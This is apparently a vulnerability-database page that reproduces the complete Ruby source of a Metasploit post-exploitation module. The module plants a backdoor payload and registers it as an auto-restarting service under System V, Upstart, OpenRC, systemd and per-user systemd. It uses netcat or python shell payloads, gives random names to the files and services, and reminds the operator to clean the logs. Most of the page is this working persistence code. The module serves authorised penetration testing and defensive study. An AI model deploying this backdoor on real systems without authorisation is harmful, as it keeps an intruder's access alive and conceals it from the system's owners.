Lucene search
K

Service Persistence

🗓️ 22 Jun 2016 23:22:18Reported by h00die <[email protected]>, Cale BlackType 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

This module creates a service on the box, and marks it for auto-restart with targets including System V, Upstart, and systemd

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Service Persistence',
        'Description'    => %q(
          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
            System V:
              CentOS <= 5
              Debian <= 6
              Kali 2.0
              Ubuntu <= 9.04
            Upstart:
              CentOS 6
              Fedora >= 9, < 15
              Ubuntu >= 9.10, <= 14.10
            systemd:
              CentOS 7
              Debian >= 7, <=8
              Fedora >= 15
              Ubuntu >= 15.04
          Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <[email protected]>',
            'Cale Black' # systemd user target
          ],
        'Platform'       => ['unix', 'linux'],
        'Targets'        =>
          [
            ['Auto', 'DefaultOptions' =>
              {
                'BACKDOOR_PATH' => '/usr/local/bin'
              }
            ],
            ['System V', :runlevel => '2 3 4 5', 'DefaultOptions' =>
              {
                'BACKDOOR_PATH' => '/usr/local/bin'
              }
            ],
            ['Upstart', :runlevel => '2345', 'DefaultOptions' =>
              {
                'BACKDOOR_PATH' => '/usr/local/bin'
              }
            ],
            ['openrc', 'DefaultOptions' =>
              {
                'BACKDOOR_PATH' => '/usr/local/bin'
              }
            ],
            ['systemd', 'DefaultOptions' =>
              {
                'BACKDOOR_PATH' => '/usr/local/bin'
              }
            ],
            ['systemd user', 'DefaultOptions' =>
              {
                'BACKDOOR_PATH' => '/tmp'
              }
            ]
          ],
        'DefaultTarget'  => 0,
        'Arch'           => ARCH_CMD,
        'References'     =>
          [
            ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']
          ],
        'Payload'        =>
        {
          'Compat'     =>
          {
            'PayloadType'  => 'cmd',
            'RequiredCmd'  => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down
          }
        },
        'DefaultOptions' =>
          {
            'WfsDelay' => 5
          },
        'DisclosureDate' => '1983-01-01', # system v release date
      )
    )

    register_options(
      [
        OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']),
        OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def exploit
    backdoor = write_shell(datastore['BACKDOOR_PATH'])
    if backdoor.nil?
      return
    end
    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]
    case target.name
    when 'System V'
      system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))
    when 'Upstart'
      upstart(path, file, target.opts[:runlevel])
    when 'openrc'
      openrc(path, file)
    when 'systemd'
      systemd(path, file)
    when 'systemd user'
      systemd_user(path, file)
    else
      if service_system_exists?('systemctl')
        print_status('Utilizing systemd')
        systemd(path, file)
      end
      if service_system_exists?('initctl')
        print_status('Utilizing Upstart')
        upstart(path, file, '2345')
      end
      if service_system_exists?('openrc')
        print_status('Utilizing openrc')
        openrc(path, file)
      end
      has_updatercd = service_system_exists?('update-rc.d')
      if has_updatercd || service_system_exists?('chkconfig') # centos 5
        print_status('Utilizing System_V')
        system_v(path, file, '2 3 4 5', has_updatercd)
      else
        print_error('Unable to detect service system')
        register_file_for_cleanup(backdoor)
      end
    end
  end

  def service_system_exists?(command)
    service_cmd = cmd_exec("which #{command}")
    !(service_cmd.empty? || service_cmd.include?('no'))
  end

  def write_shell(path)
    file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    write_file(backdoor, payload.encoded)
    if file_exist?(backdoor)
      cmd_exec("chmod 711 #{backdoor}")
      backdoor
    else
      print_error('File not written, check permissions.')
      return
    end
  end

  def systemd(backdoor_path, backdoor_file)
    # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
    script = %{[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=multi-user.target}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/lib/systemd/system/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)
    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end
    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("systemctl enable #{service_filename}.service")
    end
    vprint_status('Starting service')
    cmd_exec("systemctl start #{service_filename}.service")
  end

  def systemd_user(backdoor_path, backdoor_file)
    script = <<~EOF
      [Unit]
      Description=Start daemon at boot time
      After=
      Requires=
      [Service]
      RemainAfterExit=yes
      RestartSec=10s
      Restart=always
      TimeoutStartSec=5
      ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
      [Install]
      WantedBy=default.target
    EOF
    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)

    home = cmd_exec('echo ${HOME}')
    vprint_status("Creating user service directory")
    cmd_exec("mkdir -p #{home}/.config/systemd/user")

    service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")

    write_file(service_name, script)

    if !file_exist?(service_name)
      print_error('File not written, check permissions. Attempting secondary location')
      vprint_status("Creating user secondary service directory")
      cmd_exec("mkdir -p #{home}/.local/share/systemd/user")

      service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
      vprint_status("Writing .local service: #{service_name}")
      write_file(service_name, script)

      if !file_exist?(service_name)
        print_error('File not written, check permissions.')
        return
      end
    end

    # This was taken from pam_systemd(8)
    systemd_socket_id = cmd_exec('id -u')
    systemd_socket_dir = "/run/user/#{systemd_socket_id}"
    vprint_status('Reloading manager configuration')
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")

    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
    end

    vprint_status("Starting service: #{service_filename}")
    # Prefer restart over start, as it will execute already existing service files
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
  end

  def upstart(backdoor_path, backdoor_file, runlevel)
    # http://blog.terminal.com/getting-started-with-upstart/
    script = %{description \"Start daemon at boot time\"
start on filesystem or runlevel [#{runlevel}]
stop on shutdown
script
    cd #{backdoor_path}
    echo $$ > /var/run/#{backdoor_file}.pid
    exec #{backdoor_file}
end script
post-stop exec sleep 10
respawn
respawn limit unlimited}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/etc/init/#{service_filename}.conf"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)
    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end
    vprint_status('Starting service')
    cmd_exec("initctl start #{service_filename}")
    vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
  end

  def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
    if has_updatercd
      print_status('Utilizing update-rc.d')
    else
      print_status('Utilizing chkconfig')
    end
    script = %{#!/bin/sh
### BEGIN INIT INFO
# Provides: service
# Required-Start: $network
# Required-Stop: $network
# Default-Start:     #{runlevel}
# Default-Stop:      0 1 6
# Short-Description: Start daemon at boot time
# Description:       Enable service provided by daemon.
### END INIT INFO
dir=\"#{backdoor_path}\"
cmd=\"#{backdoor_file}\"
name=`basename $0`
pid_file=\"/var/run/$name.pid\"
stdout_log=\"/var/log/$name.log\"
stderr_log=\"/var/log/$name.err\"
get_pid() {
    cat \"$pid_file\"
}
is_running() {
    [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1
}
case \"$1\" in
    start)
    if is_running; then
        echo \"Already started\"
    else
        echo \"Starting $name\"
        cd \"$dir\"
}

    if has_updatercd
      script << "        sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
    else # CentOS didn't like sudo or su...
      script << "        $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
    end
    script << %{        echo $! > \"$pid_file\"
        if ! is_running; then
            echo \"Unable to start, see $stdout_log and $stderr_log\"
            exit 1
        fi
    fi
    ;;
    stop)
    if is_running; then
        echo -n \"Stopping $name..\"
        kill `get_pid`
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n \".\"
            sleep 1
        done
        echo
        if is_running; then
            echo \"Not stopped; may still be shutting down or shutdown may have failed\"
            exit 1
        else
            echo \"Stopped\"
            if [ -f \"$pid_file\" ]; then
                rm \"$pid_file\"
            fi
        fi
    else
        echo \"Not running\"
    fi
    ;;
    restart)
    $0 stop
    if is_running; then
        echo \"Unable to stop, will not attempt to start\"
        exit 1
    fi
    $0 start
    ;;
    status)
    if is_running; then
        echo \"Running\"
    else
        echo \"Stopped\"
        exit 1
    fi
    ;;
    *)
    echo \"Usage: $0 {start|stop|restart|status}\"
    exit 1
    ;;
esac
exit 0}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/etc/init.d/#{service_filename}"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)
    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end
    cmd_exec("chmod 755 #{service_name}")
    vprint_status('Enabling & starting our service')
    if has_updatercd
      cmd_exec("update-rc.d #{service_filename} defaults")
      cmd_exec("update-rc.d #{service_filename} enable")
      if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
        cmd_exec("service #{service_filename} start")
      else
        cmd_exec("/etc/init.d/#{service_filename} start")
      end
    else # CentOS
      cmd_exec("chkconfig --add #{service_filename}")
      cmd_exec("chkconfig #{service_filename} on")
      cmd_exec("/etc/init.d/#{service_filename} start")
    end
  end

  def openrc(backdoor_path, backdoor_file)
    # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts
    # https://wiki.alpinelinux.org/wiki/OpenRC
    # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md
    script = %{#!/sbin/openrc-run
name=#{backdoor_file}
command=/bin/sh
command_args="#{backdoor_path}/#{backdoor_file}"
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
}

    service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
    service_name = "/etc/init.d/#{service_filename}"
    vprint_status("Writing service: #{service_name}")
    begin
      upload_and_chmodx(service_name, script)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?")
    end

    if !file_exist?(service_name)
      print_error('File not written, check permissions.')
      return
    end

    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("rc-update add '#{service_filename}'")
    end

    vprint_status('Starting service')
    cmd_exec("'/etc/init.d/#{service_filename}' start")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2024 10:54Current
7.2High risk
Vulners AI Score7.2
20